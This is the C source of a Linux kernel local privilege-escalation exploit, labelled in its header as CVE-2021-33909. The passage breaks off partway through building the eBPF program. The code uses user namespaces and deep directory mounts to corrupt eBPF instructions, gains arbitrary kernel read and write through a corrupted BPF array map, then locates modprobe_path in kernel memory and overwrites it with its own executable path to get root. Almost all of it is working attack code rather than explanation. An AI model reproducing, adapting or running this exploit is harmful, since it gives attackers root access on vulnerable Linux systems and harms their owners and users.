/*
 * CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer
 * gcc -D BLOCK_VIA_USERFAULTFD -o exploit exploit.c -pthread
 * gcc -D BLOCK_VIA_FUSE -o exploit exploit.c -pthread
  */

#if BLOCK_VIA_USERFAULTFD && BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#elif !BLOCK_VIA_USERFAULTFD && !BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#endif

#define BPF_PSEUDO_MAP_VALUE 2

#define _GNU_SOURCE
#include <asm/types.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <linux/bpf.h>
#include <linux/netlink.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <sched.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>

static const size_t offsetof_struct_bpf_map_ops_get_next_key = 32;
static const size_t offsetof_struct_bpf_array_ops = 0;
static const size_t offsetof_struct_bpf_array_map_type = 24;
static const size_t offsetof_struct_bpf_array_key_size = 28;
static const size_t offsetof_struct_bpf_array_value_size = 32;
static const size_t offsetof_struct_bpf_array_max_entries = 36;
static const size_t offsetof_struct_bpf_array_spin_lock_off = 44;
static const size_t offsetof_struct_bpf_array_btf = 64;

#define PAGE_SIZE (4096)
#define PAGE_ALLOC_COSTLY_ORDER 3
#define THREAD_SIZE (PAGE_SIZE << 2)

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static void
send_recv_state(const int sock, const char * const sstate, const char rstate)
{
    if (sstate) {
        if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die();
    }
    if (rstate) {
        char state = 0;
        if (read(sock, &state, 1) != 1) die();
        if (state != rstate) die();
    }
}

static const char * bigdir;
static char onedir[NAME_MAX + 1];

typedef struct {
    pid_t pid;
    int socks[2];
    size_t count;
    int delete;
} t_userns;

#define USERNS (1UL << 1)

static int
userns_fn(void * const arg)
{
    if (!arg) die();
    const t_userns * const userns = arg;
    const int sock = userns->socks[1];
    if (close(userns->socks[0])) die();

    send_recv_state(sock, NULL, 'A');

    size_t n;
    if (chdir(bigdir)) die();
    for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) {
        if (chdir(onedir)) die();
    }
    char device[] = "./device.XXXXXX";
    if (!mkdtemp(device)) die();
    char mpoint[] = "/tmp/mpoint.XXXXXX";
    if (!mkdtemp(mpoint)) die();
    if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();

    if (userns->delete) {
        if (rmdir(device)) die();
        char device[] = "/tmp/device.XXXXXX";
        if (!mkdtemp(device)) die();
        char mpoint[] = "/tmp/mpoint.XXXXXX";
        if (!mkdtemp(mpoint)) die();
        if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();
        if (rmdir(device)) die();
    }
    if (chdir("/")) die();

    send_recv_state(sock, "B", 'C');

    const int fd = open("/proc/self/mountinfo", O_RDONLY);
    if (fd <= -1) die();
    static char buf[1UL << 20];
    size_t len = 0;
    for (;;) {
        ssize_t nbr = read(fd, buf, 1024);
        if (nbr <= 0) die();
        for (;;) {
            const char * nl = memchr(buf, '\n', nbr);
            if (!nl) break;
            nl++;
            if (memmem(buf, nl - buf, "\\134", 4)) die();
            nbr -= nl - buf;
            memmove(buf, nl, nbr);
            len = 0;
        }
        len += nbr;
        if (memmem(buf, nbr, "\\134", 4)) break;
    }

    send_recv_state(sock, "D", 'E');

    if (userns->delete) {
        for (;;) {
            const ssize_t nbr = read(fd, buf, sizeof(buf) - len % sizeof(buf));
            if (nbr <= 0) die();
            if (memchr(buf, '\n', nbr)) break;
            len += nbr;
        }
        if (read(fd, buf, sizeof(buf)) != 0) die();
        send_recv_state(sock, "F", 'G');

    } else {
        for (;;) {
            const ssize_t nbr = read(fd, buf, sizeof(buf));
            if (nbr <= 0) die();
            if (memchr(buf, '\n', nbr)) die();
            const char * const deleted = memmem(buf, nbr, "//deleted", 10);
            if (deleted) {
                len += deleted - buf;
                break;
            }
            len += nbr;
        }
        send_recv_state(sock, "F", 0);
        if (send(sock, &len, sizeof(len), MSG_NOSIGNAL) != (ssize_t)sizeof(len)) die();
        send_recv_state(sock, NULL, 'G');

        if (close(fd)) die();
        send_recv_state(sock, "H", 'I');
    }
    die();
}

static void
update_id_map(char * const mapping, const char * const map_file)
{
    const size_t map_len = strlen(mapping);
    if (map_len >= SSIZE_MAX) die();
    if (map_len <= 0) die();

    size_t i;
    for (i = 0; i < map_len; i++) {
        if (mapping[i] == ',')
            mapping[i] = '\n';
    }

    const int fd = open(map_file, O_WRONLY);
    if (fd <= -1) die();
    if (write(fd, mapping, map_len) != (ssize_t)map_len) die();
    if (close(fd)) die();
}

static void
proc_setgroups_write(const pid_t child_pid, const char * const str)
{
    const size_t str_len = strlen(str);
    if (str_len >= SSIZE_MAX) die();
    if (str_len <= 0) die();

    char setgroups_path[64];
    snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid);

    const int fd = open(setgroups_path, O_WRONLY);
    if (fd <= -1) {
        if (fd != -1) die();
        if (errno != ENOENT) die();
        return;
    }
    if (write(fd, str, str_len) != (ssize_t)str_len) die();
    if (close(fd)) die();
}

static void
fork_userns(t_userns * const userns, const size_t size, const int delete)
{
    static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE;
    static char * stack = NULL;
    if (!stack) {
        stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
        if (!stack || stack == MAP_FAILED) die();
        if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die();
    }

    if (!userns) die();
    userns->count = size / 2;
    userns->delete = delete;

    if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die();
    userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns);
    if (userns->pid <= -1) die();
    if (close(userns->socks[1])) die();
    userns->socks[1] = -1;

    char map_path[64], map_buf[64];
    snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid);
    snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid());
    update_id_map(map_buf, map_path);

    proc_setgroups_write(userns->pid, "deny");
    snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid);
    snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid());
    update_id_map(map_buf, map_path);

    send_recv_state(*userns->socks, "A", 'B');
}

static void
wait_userns(t_userns * const userns)
{
    if (!userns) die();
    if (kill(userns->pid, SIGKILL)) die();

    int status = 0;
    if (waitpid(userns->pid, &status, 0) != userns->pid) die();
    userns->pid = -1;
    if (!WIFSIGNALED(status)) die();
    if (WTERMSIG(status) != SIGKILL) die();

    if (close(*userns->socks)) die();
    *userns->socks = -1;
}

#define BPF_LOG_STATS   4

#define BPF_ALU64_REG(OP, DST, SRC)                             \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,        \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = 0,                                     \
                .imm   = 0 })

#define BPF_ALU64_IMM(OP, DST, IMM)                             \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,        \
                .dst_reg = DST,                                 \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = IMM })

#define BPF_MOV64_IMM(DST, IMM)                                 \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ALU64 | BPF_MOV | BPF_K,           \
                .dst_reg = DST,                                 \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = IMM })

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                         \
        ((struct bpf_insn) {                                    \
                .code  = BPF_LD | BPF_DW | BPF_IMM,             \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = 0,                                     \
                .imm   = (__u32) (IMM) }),                      \
        ((struct bpf_insn) {                                    \
                .code  = 0, /* zero is reserved opcode */       \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = ((__u64) (IMM)) >> 32 })

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                        \
        ((struct bpf_insn) {                                    \
                .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = OFF,                                   \
                .imm   = 0 })

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)                        \
        ((struct bpf_insn) {                                    \
                .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
                .dst_reg = DST,                                 \
                .src_reg = SRC,                                 \
                .off   = OFF,                                   \
                .imm   = 0 })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)                         \
        ((struct bpf_insn) {                                    \
                .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,     \
                .dst_reg = DST,                                 \
                .src_reg = 0,                                   \
                .off   = OFF,                                   \
                .imm   = IMM })

#define BPF_JMP_IMM(OP, DST, IMM, OFF)                          \
        ((struct bpf_insn) {                                    \
                .code  = BPF_JMP | BPF_OP(OP) | BPF_K,          \
                .dst_reg = DST,                                 \
                .src_reg = 0,                                   \
                .off   = OFF,                                   \
                .imm   = IMM })

#define BPF_JMP_A(OFF)                                          \
        ((struct bpf_insn) {                                    \
                .code  = BPF_JMP | BPF_JA,                      \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = OFF,                                   \
                .imm   = 0 })

#define BPF_EXIT_INSN()                                         \
        ((struct bpf_insn) {                                    \
                .code  = BPF_JMP | BPF_EXIT,                    \
                .dst_reg = 0,                                   \
                .src_reg = 0,                                   \
                .off   = 0,                                     \
                .imm   = 0 })

static int
bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
    return syscall(__NR_bpf, cmd, attr, size);
}

static int
bpf_create_map(enum bpf_map_type map_type,
    unsigned int key_size,
    unsigned int value_size,
    unsigned int max_entries)
{
    union bpf_attr attr = {
        .map_type    = map_type,
        .key_size    = key_size,
        .value_size  = value_size,
        .max_entries = max_entries
    };
    return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int
bpf_update_elem(int fd, const void *key, const void *value,
     uint64_t flags)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = (uintptr_t)key,
        .value  = (uintptr_t)value,
        .flags  = flags,
    };
    return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int
bpf_lookup_elem(int fd, const void *key, void *value)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key    = (uintptr_t)key,
        .value  = (uintptr_t)value,
    };
    return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static int
bpf_prog_load(enum bpf_prog_type prog_type,
              const struct bpf_insn *insns, unsigned int insn_cnt,
              const char *license,
              char *log_buf, unsigned int log_size, unsigned int log_level)
{
    union bpf_attr attr = {
        .prog_type = prog_type,
        .insns     = (uintptr_t)insns,
        .insn_cnt  = insn_cnt,
        .license   = (uintptr_t)license,
        .log_buf   = (uintptr_t)log_buf,
        .log_size  = log_size,
        .log_level = log_level,
    };
    return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}

enum {
    OP_TEST = 0,
    OP_READ32,
    OP_READ64,
    OP_WRITE32,
    OP_WRITE64,
};

enum {
    NO_CORRUPTION = 100,
    EARLY_CORRUPTION,
    DOUBLE_CORRUPTION,
};

typedef struct {
    uint64_t op;
    uint64_t what;
    uint16_t where;
    uint64_t result;
    uint64_t result2;
    uint64_t done;
} t_control;

static int control_fd = -1;

static char corrupt_map[3 << 16];
static int corrupt_fd = -1;

static char storage_map[PAGE_SIZE << (PAGE_ALLOC_COSTLY_ORDER + 1)];
static int storage_fd = -1;

static void
op(const int sock, t_control * const control)
{
    if (sock <= -1) die();
    if (!control) die();

    if (control_fd <= -1) die();
    if (control->op != OP_TEST && !control->where) die();

    static const uint32_t key = 0;
    if (bpf_update_elem(control_fd, &key, control, BPF_ANY)) die();
    if (write(sock, "A", 1) != 1) die();

    for (;;) {
        memset(control, 0, sizeof(*control));
        if (bpf_lookup_elem(control_fd, &key, control)) die();
        if (control->done) {
            if (control->done != 1) die();
            return;
        }
    }
    die();
}

static t_control
op_test(const int sock)
{
    t_control control = { .op = OP_TEST };
    op(sock, &control);
    return control;
}

static size_t sizeof_struct_bpf_array;

static uint16_t
offset_to_where(const size_t offset)
{
    if (sizeof_struct_bpf_array <= 0) die();
    if (offset >= sizeof_struct_bpf_array) die();
    const size_t where = sizeof(corrupt_map) / 4 - sizeof_struct_bpf_array + offset;
    if (where > UINT16_MAX) die();
    return where;
}

static uint32_t
op_read32(const int sock, const size_t offset)
{
    t_control control = {
        .op = OP_READ32,
        .where = offset_to_where(offset),
    };
    op(sock, &control);
    if (control.result > UINT32_MAX) die();
    return control.result;
}

static uint64_t
op_read64(const int sock, const size_t offset)
{
    t_control control = {
        .op = OP_READ64,
        .where = offset_to_where(offset),
    };
    op(sock, &control);
    return control.result;
}

static void
op_write32(const int sock, const size_t offset, const uint64_t what)
{
    if (what > UINT32_MAX) die();
    t_control control = {
        .op = OP_WRITE32,
        .what = what,
        .where = offset_to_where(offset),
    };
    op(sock, &control);
}

static void
op_write64(const int sock, const size_t offset, const uint64_t what)
{
    t_control control = {
        .op = OP_WRITE64,
        .what = what,
        .where = offset_to_where(offset),
    };
    op(sock, &control);
}

static inline int
is_kernel_addr(const uint64_t addr)
{
    return ((addr >> 48) == 0xffff);
}

static inline int
is_kernel_text_addr(const uint64_t addr)
{
    return ((addr >> 32) == 0xffffffff);
}

static size_t offsetof_struct_btf_id;

static uint32_t
arbitrary_read32(const int sock, const uint64_t where)
{
    if (!is_kernel_addr(where)) die();
    op_write64(sock, offsetof_struct_bpf_array_btf, where - offsetof_struct_btf_id);

    struct bpf_map_info info;
    memset(&info, 0, sizeof(info));

    union bpf_attr attr = {
        .info.bpf_fd = corrupt_fd,
        .info.info = (uintptr_t)&info,
        .info.info_len = sizeof(info),
    };
    if (bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr))) die();
    if (info.value_size != sizeof(corrupt_map)) die();
    return info.btf_id;
}

static void
arbitrary_read(const int sock, uint64_t where, void * const what, size_t size)
{
    if (!what) die();
    uint32_t * what32 = what;

    if (size % sizeof(uint32_t)) die();
    for ( ; size; size -= sizeof(uint32_t)) {
        *what32++ = arbitrary_read32(sock, where);
        where += sizeof(uint32_t);
    }
}

static void
arbitrary_write32(const uint64_t where, const uint64_t what)
{
    if (!is_kernel_addr(where)) die();
    if (what > UINT32_MAX) die();

    const uint32_t what32 = what;
    memset(corrupt_map, 0, sizeof(corrupt_map));
    *(uint32_t *)corrupt_map = what32 - 1;

    static const uint32_t key = 0;
    if (bpf_update_elem(corrupt_fd, &key, corrupt_map, where)) {
        printf("what 0x%lx errno %d (%s)\n", (unsigned long)what, errno, strerror(errno));
    }
}

static void
arbitrary_write(uint64_t where, const void * const what, size_t size)
{
    if (!what) die();
    const uint32_t * what32 = what;

    if (size % sizeof(uint32_t)) die();
    for ( ; size; size -= sizeof(uint32_t)) {
        arbitrary_write32(where, *what32++);
        where += sizeof(uint32_t);
    }
}

#define KMOD_PATH_LEN 256
static char modprobe_path[KMOD_PATH_LEN];
static size_t modprobe_path_len;

static char self_exe[sizeof(modprobe_path)];
static size_t self_exe_len;

static enum {
    STAGE_CORRUPTED_INSN = 1,
    STAGE_ADDROF_STORAGE,
    STAGE_MODPROBE_PATH,
} stage = STAGE_CORRUPTED_INSN;

static const size_t corrupted_add = 0x2f2f0000;
static size_t uncorrupted_sum;

static size_t indexof_corrupted_prog;
static size_t indexof_corrupted_insn;
static uint64_t addrof_storage_map_value;

typedef struct {
    size_t index;
    pthread_t tid;
    char faults[3];
} t_thread;

#define THREADS (1024)
static t_thread threads[THREADS];

static const size_t insn_cnt = (THREAD_SIZE - PAGE_SIZE) / sizeof(struct bpf_insn);
static const size_t insns_size = insn_cnt * sizeof(struct bpf_insn);
static char * insns;
static char * license;
static char * log_buf;

static void *
thread_fn(void * const arg)
{
    if (!arg) die();
    const t_thread * const thread = arg;

    if (!insns) die();
    if (!license) die();
    if (!log_buf) die();
    const struct bpf_insn * const this_insns = (const void *)(insns + thread->index * insns_size);
    const char * const this_license = license + thread->index * PAGE_SIZE;
    /***/ char * const this_log_buf = log_buf + thread->index * PAGE_SIZE;

    uintptr_t retval = EXIT_FAILURE;
    const int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
        this_insns, insn_cnt, this_license, this_log_buf, PAGE_SIZE, BPF_LOG_STATS);
    if (prog_fd <= -1) {
        if (prog_fd != -1) die();
        if (errno != EINVAL) die();
        retval = EARLY_CORRUPTION;
        pthread_exit((void *)retval);
        die();
    }

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) die();
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) die();
    const int sock = socks[1];

    if (!uncorrupted_sum) die();
    const t_control test = op_test(sock);
    if (test.result == uncorrupted_sum) {
        if (test.result2) die();
        retval = NO_CORRUPTION;
        goto cleanup;
    }
    retval = DOUBLE_CORRUPTION;
    printf("test 0x%lx 0x%lx\n", (unsigned long)test.result, (unsigned long)test.result2);

    if (STAGE_CORRUPTED_INSN == stage) {
        if (indexof_corrupted_insn) die();
        if (addrof_storage_map_value) die();

        if (test.result <= corrupted_add) die();
        const size_t corrupted_sum = test.result - corrupted_add;
        if (corrupted_sum >= uncorrupted_sum) die();

        indexof_corrupted_insn = uncorrupted_sum - corrupted_sum;
        printf("indexof_corrupted_insn 0x%zx\n", indexof_corrupted_insn);
        if (indexof_corrupted_insn >= insn_cnt) die();
        if (indexof_corrupted_insn <= 0) die();
        goto cleanup;
    }
    if (!indexof_corrupted_insn) die();
    if (test.result != uncorrupted_sum + corrupted_add) die();

    if (STAGE_ADDROF_STORAGE == stage) {
        if (addrof_storage_map_value) die();
        addrof_storage_map_value = test.result2;
        printf("addrof_storage_map_value 0x%lx\n", (unsigned long)addrof_storage_map_value);
        if (!is_kernel_addr(addrof_storage_map_value)) die();
        goto cleanup;
    }
    if (!addrof_storage_map_value) die();
    if (stage != STAGE_MODPROBE_PATH) die();

    const size_t check_sizeof_struct_bpf_array = addrof_storage_map_value & (PAGE_SIZE-1);
    printf("sizeof_struct_bpf_array 0x%zx\n", check_sizeof_struct_bpf_array);
    if (check_sizeof_struct_bpf_array <= 0) die();
    if (check_sizeof_struct_bpf_array >= 1024) die();
    sizeof_struct_bpf_array = check_sizeof_struct_bpf_array;

    const uint64_t addrof_array_map_ops = op_read64(sock, offsetof_struct_bpf_array_ops);
    printf("addrof_array_map_ops 0x%lx\n", (unsigned long)addrof_array_map_ops);
    if (!is_kernel_text_addr(addrof_array_map_ops)) die();

    size_t i;
    for (i = 0; i < sizeof(storage_map) / sizeof(uint32_t); i++) {
        ((uint32_t *)storage_map)[i] = i * sizeof(uint32_t);
    }
    static const uint32_t key = 0;
    if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
    if (op_read64(sock, offsetof_struct_bpf_array_btf) != 0) die();
    const size_t check_offsetof_struct_btf_id = arbitrary_read32(sock, addrof_storage_map_value);
    printf("offsetof_struct_btf_id 0x%zx\n", check_offsetof_struct_btf_id);
    if (check_offsetof_struct_btf_id <= 0) die();
    if (check_offsetof_struct_btf_id >= 1024) die();
    if (check_offsetof_struct_btf_id % sizeof(uint32_t)) die();
    offsetof_struct_btf_id = check_offsetof_struct_btf_id;

    uint64_t check_addrof_array_map_ops = 0;
    arbitrary_read(sock, addrof_storage_map_value - sizeof_struct_bpf_array + offsetof_struct_bpf_array_ops,
        &check_addrof_array_map_ops, sizeof(check_addrof_array_map_ops));
    if (check_addrof_array_map_ops != addrof_array_map_ops) die();

    unsigned char what[PAGE_SIZE];
    uint64_t where;
    uint64_t addrof_request_module_string = 0;
    memset(what, 0, sizeof(what));
    for (where = addrof_array_map_ops; ; ) {
        memcpy(what, what + sizeof(what) / 2, sizeof(what) / 2);
        arbitrary_read(sock, where, what + sizeof(what) / 2, sizeof(what) / 2);
        where += sizeof(what) / 2;

        static const char request_module[] = "__request_module";
        const unsigned char * const string = memmem(what, sizeof(what), request_module, sizeof(request_module));
        if (!string) continue;
        addrof_request_module_string = where - sizeof(what) + (string - what);
        break;
    }
    printf("addrof_request_module_string 0x%lx\n", (unsigned long)addrof_request_module_string);
    if (!is_kernel_text_addr(addrof_request_module_string)) die();

    uint64_t addrof_request_module_function = 0;
    for (where = addrof_request_module_string & ~(uint64_t)(sizeof(uint32_t)-1); ; ) {
        if (where <= addrof_array_map_ops) goto cleanup_read;
      {
        const int32_t offset = arbitrary_read32(sock, where);
        const uint64_t string = where + offset;
        where -= sizeof(uint32_t);
        if (offset <= 0) continue;
        if (offset >= (128 << 20)) continue;
        if (string != addrof_request_module_string) continue;
      }
      {
        const int32_t offset = arbitrary_read32(sock, where);
        const uint64_t symbol = where + offset;
        if (offset >= 0) continue;
        if (offset <= -(128 << 20)) continue;
        if (symbol >= addrof_array_map_ops) continue;
        addrof_request_module_function = symbol;
        break;
      }
    }
    printf("addrof_request_module_function 0x%lx\n", (unsigned long)addrof_request_module_function);
    if (!is_kernel_text_addr(addrof_request_module_function)) die();

    uint64_t addrof_modprobe_path = 0;
    arbitrary_read(sock, addrof_request_module_function, what, sizeof(what));
    const unsigned char * code;
    for (code = what; ; code++) {
        if (code >= what + MIN(256, sizeof(what) / 2)) goto cleanup_read;
        if (code[0] != 0x80) continue;
        if (code[1] != 0x3d) continue;
        if (code[6] != 0x00) continue;
        const int32_t offset = *(const int32_t *)(code + 2);
        const uint64_t addr = addrof_request_module_function + (code - what) + 7 + offset;
        if (offset <= 0) continue;
        if (offset >= (128 << 20)) continue;
        if (addr <= addrof_request_module_string) continue;
        addrof_modprobe_path = addr;
        break;
    }
    printf("addrof_modprobe_path 0x%lx\n", (unsigned long)addrof_modprobe_path);
    if (!is_kernel_text_addr(addrof_modprobe_path)) die();

    memset(what, 0, sizeof(what));
    if (sizeof(modprobe_path) > sizeof(what)) die();
    arbitrary_read(sock, addrof_modprobe_path, what, sizeof(modprobe_path));
    if (memcmp(what, modprobe_path, modprobe_path_len + 1) != 0) goto cleanup_read;
    printf("addrof_modprobe_path ok\n");

    memset(storage_map, 0, sizeof(storage_map));
    arbitrary_read(sock, addrof_array_map_ops, storage_map, PAGE_SIZE);
    const uint64_t addrof_array_map_get_next_key = *(const uint64_t *)(storage_map + offsetof_struct_bpf_map_ops_get_next_key);
    printf("addrof_array_map_get_next_key 0x%lx\n", (unsigned long)addrof_array_map_get_next_key);
    if (!is_kernel_text_addr(addrof_array_map_get_next_key)) die();
    for (i = 0; i < PAGE_SIZE / sizeof(uint64_t); i++) {
        if (!((uint64_t *)storage_map)[i]) {
             ((uint64_t *)storage_map)[i] = addrof_array_map_get_next_key;
        }
    }
    if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
    uint64_t check_addrof_array_map_get_next_key = 0;
    arbitrary_read(sock, addrof_storage_map_value + offsetof_struct_bpf_map_ops_get_next_key,
        &check_addrof_array_map_get_next_key, sizeof(check_addrof_array_map_get_next_key));
    if (check_addrof_array_map_get_next_key != addrof_array_map_get_next_key) die();

    if (op_read32(sock, offsetof_struct_bpf_array_map_type) != BPF_MAP_TYPE_ARRAY ||
        op_read32(sock, offsetof_struct_bpf_array_key_size) != 4 ||
        op_read32(sock, offsetof_struct_bpf_array_value_size) != sizeof(corrupt_map) ||
        op_read32(sock, offsetof_struct_bpf_array_max_entries) != 1 ||
        op_read32(sock, offsetof_struct_bpf_array_spin_lock_off) != (uint32_t)(-EINVAL)) {
        goto cleanup_read;
    }
    op_write64(sock, offsetof_struct_bpf_array_ops, addrof_storage_map_value);
    op_write32(sock, offsetof_struct_bpf_array_max_entries, UINT32_MAX);
    op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, 0);
    op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_STACK);

    arbitrary_write(addrof_modprobe_path, self_exe, (self_exe_len + sizeof(uint32_t)) & ~(sizeof(uint32_t)-1));

cleanup_write:
    op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_ARRAY);
    op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, (uint32_t)(-EINVAL));
    op_write32(sock, offsetof_struct_bpf_array_max_entries, 1);
    op_write64(sock, offsetof_struct_bpf_array_ops, addrof_array_map_ops);

cleanup_read:
    op_write64(sock, offsetof_struct_bpf_array_btf, 0);

cleanup:
    if (close(socks[0])) die();
    if (close(socks[1])) die();
    if (close(prog_fd)) die();
    pthread_exit((void *)retval);
    die();
}

static void
create_threads_now(void)
{
    if (!insns) die();
    if (!license) die();
    if (!log_buf) die();

    size_t i;
    for (i = 0; i < THREADS; i++) {
        threads[i].index = i;
        if (pthread_create(&threads[i].tid, NULL, thread_fn, &threads[i])) die();
    }
}

#if BLOCK_VIA_USERFAULTFD

static int
uffd_register(const int uffd, const void * const start, const size_t len)
{
    struct uffdio_register uffdio_register = {
        .range = { .start = (uintptr_t)start, .len = len },
        .mode = UFFDIO_REGISTER_MODE_MISSING,
    };
    return ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
}

static void
read_faults(const int uffd, const char * const start, const size_t size, const size_t fault)
{
    if (fault >= sizeof(threads->faults) / sizeof(*threads->faults)) die();
    if ((uintptr_t)start % PAGE_SIZE) die();
    if (size % PAGE_SIZE) die();

    size_t i;
    for (i = 0; i < THREADS; i++) {
        struct uffd_msg msg;
        if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) die();
        if (msg.event != UFFD_EVENT_PAGEFAULT) die();
        if (msg.arg.pagefault.address < (uintptr_t)start) die();
        if (msg.arg.pagefault.address >= (uintptr_t)start + THREADS * size) die();

        const size_t index = (msg.arg.pagefault.address - (uintptr_t)start) / size;
        if (index >= THREADS) die();
        if (msg.arg.pagefault.address != (uintptr_t)start + index * size) die();
        if (threads[index].faults[fault]) die();
        threads[index].faults[fault] = 1;
    }
}

static struct bpf_insn * insns_orig;
static char * license_orig;
static int uffd = -1;

static void
create_threads(void)
{
    if (insns_orig) die();
    insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

#elif BLOCK_VIA_FUSE

static const struct bpf_insn *
create_insns_orig(void)
{
    struct bpf_insn * const insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

#endif

    if (insns_orig == MAP_FAILED) die();
    if (insns_size % PAGE_SIZE) die();
    if (insns_size % sizeof(struct bpf_insn)) die();

    if (control_fd <= -1) die();
    if (corrupt_fd <= -1) die();
    if (storage_fd <= -1) die();

    enum {
        REG_SPECIAL = BPF_REG_1,
        REG_STORAGE,
        REG_CONTROL,
        REG_CORRUPT,
        REG_OP,
        REG_WHAT,
        REG_WHERE,
    };
    if (BPF_REG_5 != REG_OP) die();

    const struct bpf_insn prologue[] = {
 /* 0*/ BPF_LD_IMM64_RAW(REG_STORAGE, BPF_PSEUDO_MAP_VALUE, storage_fd),
 /* 2*/ BPF_LD_IMM64_RAW(REG_CORRUPT, BPF_PSEUDO_MAP_VALUE, corrupt_fd),
 /* 4*/ BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, sizeof(corrupt_map) / 2),
        BPF_MOV64_IMM(REG_SPECIAL, 0),
        BPF_MOV64_IMM(BPF_REG_5, 0),
    };
    if (sizeof(prologue) >= insns_size) die();
    memcpy(insns_orig, prologue, sizeof(prologue));
    switch (stage) {
    case STAGE_MODPROBE_PATH:
        insns_orig[4] = BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, 0);
        /* fall through */
    case STAGE_CORRUPTED_INSN:
        insns_orig[0] = BPF_MOV64_IMM(REG_STORAGE, 0);
        insns_orig[1] = BPF_MOV64_IMM(REG_STORAGE, 0);
        break;
    case STAGE_ADDROF_STORAGE:
        break;
    default:
        die();
    }

    const struct bpf_insn epilogue[] = {
        BPF_LD_IMM64_RAW(REG_CONTROL, BPF_PSEUDO_MAP_VALUE, control_fd),
        BPF_LDX_MEM(BPF_DW, REG_OP, REG_CONTROL, offsetof(t_control, op)),
        BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CONTROL, offsetof(t_control, what)),
        BPF_LDX_MEM(BPF_H, REG_WHERE, REG_CONTROL, offsetof(t_control, where)),
        BPF_ALU64_IMM(BPF_SUB, REG_CORRUPT, sizeof(corrupt_map) / 4),
        BPF_ALU64_REG(BPF_ADD, REG_CORRUPT, REG_WHERE),
 /* 1*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ32, 4 - 2),
 /* 2*/ BPF_LDX_MEM(BPF_W, REG_WHAT, REG_CORRUPT, 0),
 /* 3*/ BPF_JMP_A(6 - 4),
